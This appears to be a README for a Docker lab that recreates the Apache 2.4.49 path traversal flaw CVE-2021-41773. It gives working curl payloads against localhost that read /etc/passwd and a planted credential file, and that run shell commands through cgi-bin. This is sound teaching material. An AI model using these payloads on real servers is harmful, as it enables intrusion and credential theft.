
Recreation and analysis of a curious logic error in Apache 2.4.49 that escalated to remote code execution
CVE-2021-41773 is a path traversal vulnerability discovered in Apache HTTP Server 2.4.49 in October 2021. The root cause was a failure to properly normalize dot sequences ended into the URL before checking whether requested path stayed within the web root. This vulnerability allowed an attacker to exit web root to access files anywhere on the server's filesystem, with some cases of escalation up to remote code execution.
2 attack vectors demonstrated in this exploration
Docker
curl
Linux or macOS
Dockerfile - build vulnerable Apache 2.4.49 container
exploit.sh - automated explain chain script
README.md
Dockerfile overview:
Note: ensure docker is installed and running
Option 1: automatic script
chmod +x exploit.sh
./exploit.sh
Option 2: manual execution
Build image and run container:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
Individual curl commands for manual experimentation:
Stage 1 — Read planted secret (pure traversal, no CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
Stage 2 — Read /etc/passwd (pure traversal, no CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Stage 3 — RCE: execute commands (requires mod_cgi)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
Stage 4 — Full chain: read secret via RCE
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"